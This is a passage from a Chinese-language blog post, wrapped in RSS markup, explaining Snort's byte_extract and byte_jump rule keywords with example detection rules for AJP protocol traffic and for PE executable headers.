    request_headers *(req_header_name req_header_value)
    attributes      *(attribut_name attribute_value)
    request_terminator (byte) OxFF&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而且，version之后的每一个字段连同了前两位的长度，攻击流量包如下&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F61324044-6e66-4f37-baad-670b70de6864%2FUntitled.png?table=block&amp;amp;id=42adaec3-42ed-4f05-bee8-aea3820dd220&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;假设要判断payload中是什么协议，如果仅用&lt;code&gt;content&lt;/code&gt;在整个数据包中任意位置匹配，结果必定是不可靠的，但是通过对AJP协议的了解，可知 &lt;code&gt;version&lt;/code&gt; 在相对&lt;code&gt;magic num&lt;/code&gt;后4位，虽然不同协议&lt;code&gt;version&lt;/code&gt;的长度不同，但可以根据数据包中在协议之前记录的长度，来判断其后这段长度内的payload中是否有 &lt;code&gt;HTTP&lt;/code&gt; 字符，示例规则&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Perl&quot;&gt;content:&amp;quot;|12 34|&amp;quot;; depth:2; content:&amp;quot;|02|&amp;quot;; within:1; distance:2; byte_extract:2,1,protocol_len,relative; content:&amp;quot;HTTP&amp;quot;; within:protocol_len;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; &lt;code&gt;byte_extract&lt;/code&gt; 对&lt;code&gt;content&lt;/code&gt;之后偏移 1 个字节取 2 个字节的值即 &lt;code&gt;0x08&lt;/code&gt;，命名为&lt;code&gt;protocol_len&lt;/code&gt; ，后续的&lt;code&gt;content&lt;/code&gt; 判断&lt;code&gt;HTTP&lt;/code&gt;是否在其后 8 个字节内，结果为true，规则命中。&lt;/p&gt;
&lt;h3&gt;2.3 byte_jump&lt;/h3&gt;
&lt;p&gt;取对应偏移位置上的值，跳过payload中对应该值数目的字节&lt;/p&gt;
&lt;h4&gt;格式&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;byte_jump:&amp;lt;bytes_to_convert&amp;gt;, &amp;lt;offset&amp;gt; [, relative][, multiplier &amp;lt;mult_value&amp;gt;] \
        [, &amp;lt;endian&amp;gt;][, string, &amp;lt;number_type&amp;gt;][, align][, from_beginning][, from_end] \ 
        [, post_offset &amp;lt;adjustment value&amp;gt;][, dce][, bitmask &amp;lt;bitmask_value&amp;gt;];&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;byte_to_convert&lt;/code&gt; 从数据包取得的字节数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;offset&lt;/code&gt; 偏移量&lt;/p&gt;
&lt;p&gt;&lt;code&gt;multiplier value&lt;/code&gt;  将计算的字节数乘以 &amp;lt;value&amp;gt; 并向前跳过该字节数。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;relative&lt;/code&gt; 使用相对于上一个模式匹配的相对偏移&lt;/p&gt;
&lt;p&gt;&lt;code&gt;align&lt;/code&gt;  将转换的字节数四舍五入到下一个 32 位边界&lt;/p&gt;
&lt;p&gt;&lt;code&gt;from_beginning&lt;/code&gt; 从数据包payload的开头而不是从数据包中的当前位置向前跳过，类似content中的offset&lt;/p&gt;
&lt;p&gt;&lt;code&gt;from_end&lt;/code&gt; 跳转将从有效载荷的末尾开始&lt;/p&gt;

&lt;h4&gt;举个栗子&lt;/h4&gt;
&lt;p&gt;以检测PE文件为例&lt;/p&gt;
&lt;p&gt;具体的文件结构可参考： &lt;a href=&quot;https://www.freebuf.com/articles/network/265889.html&quot;&gt;https://www.freebuf.com/articles/network/265889.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PE 文件头由 64位的&lt;code&gt;DOS MZ&lt;/code&gt;头和不固定长度的&lt;code&gt;DOS&lt;/code&gt;块以及&lt;code&gt;DOS PE&lt;/code&gt;头组成，MZ头的前两位固定为&lt;code&gt;MZ&lt;/code&gt;，末尾四位的值指向PE头。这种情况下，由于DOS块长度不固定，无法通过指定偏移定位到PE头，更不能在整个数据包中寻找&lt;code&gt;PE&lt;/code&gt;字符，要知道，PE文件有时候会很大，上万的字符中匹配到&lt;code&gt;PE&lt;/code&gt;两个字符的误报概率太大了。&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7c217c55-4965-4192-8780-7815e5c3f2b5%2FUntitled.png?table=block&amp;amp;id=59ba657f-2e22-47b4-98d8-2071b353e1b5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fff3bdb5a-527d-43ec-8948-5640dd5e38ef%2FUntitled.png?table=block&amp;amp;id=d77ad3d9-13c6-4fc2-978f-828e8fb2cb8c&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;据此可以得到检测思路为通过MZ头末尾四位的值找到对应位置上的字符判断是否为PE头，这时候&lt;code&gt;byte_jump&lt;/code&gt;出马再合适不过了&lt;/p&gt;
&lt;p&gt;示例检测代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-Perl&quot;&gt;content:&amp;quot;|4d 5a|&amp;quot;; byte_jump:4,58,relative,little; content:&amp;quot;PE|00 00|&amp;quot;; distance:-64; within:4;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先定位MZ头中的&lt;code&gt;magic number&lt;/code&gt; ，去除这2位再去掉最后4位的长度，64字节的MZ头中间还有58字节，跳过这58字节，后续的4个字节即是存储了PE头在DOS头中绝对偏移位置的数值，并且在数据中是以小端存储的，接着匹配四位PE头 &lt;code&gt;content:&amp;quot;PE|00 00|&amp;quot;;&lt;/code&gt; ，由于数据中记录的偏移位置是绝对偏移，从0开始，而&lt;code&gt;byte_jump&lt;/code&gt;取完数后，此时的偏移在DOS MZ头之后，跳转之后并不直接指向实际PE头的位置，而是在其后多出了64字节的位置，此时便需要使用 &lt;code&gt;distance:-64;&lt;/code&gt; 去掉多出来的字节，使得偏移回到PE头实际正确的位置，在4字节内匹配到 &lt;code&gt;PE|00 00|&lt;/code&gt; ，规则命中。&lt;/p&gt;
&lt;h2&gt;3. 总结&lt;/h2&gt;
&lt;p&gt;本文主要重点讲述snort规则中Byte系列关键字的用法，通过三个具体的实例分析关键字及每个修饰符的含义，帮助使用者理解用法。在实际的入侵检测中，如果能够用好这几个关键字，可以在特殊字节流协议，例如SMB、OpenSSL、RPC等漏洞方面，显著提升检测率、降低误报率，并且可以节省性能资源，不仅事半功倍，还能使snort的能力发挥到最大化。&lt;/p&gt;

&lt;h2&gt;4. 参考链接&lt;/h2&gt;
&lt;p&gt;🔗 &lt;a href=&quot;http://manual-snort-org.s3-website-us-east-1.amazonaws.com/&quot;&gt;SNORT Users Manual 2.9.16&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://www.freebuf.com/articles/network/265889.html&quot;&gt;PE文件结构入门到入坟 - FreeBuf网络安全行业门户&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html&quot;&gt;The Apache Tomcat Connectors - AJP Protocol Reference&lt;/a&gt;&lt;/p&gt;


</content:encoded>
        </item>
    </channel>
</rss>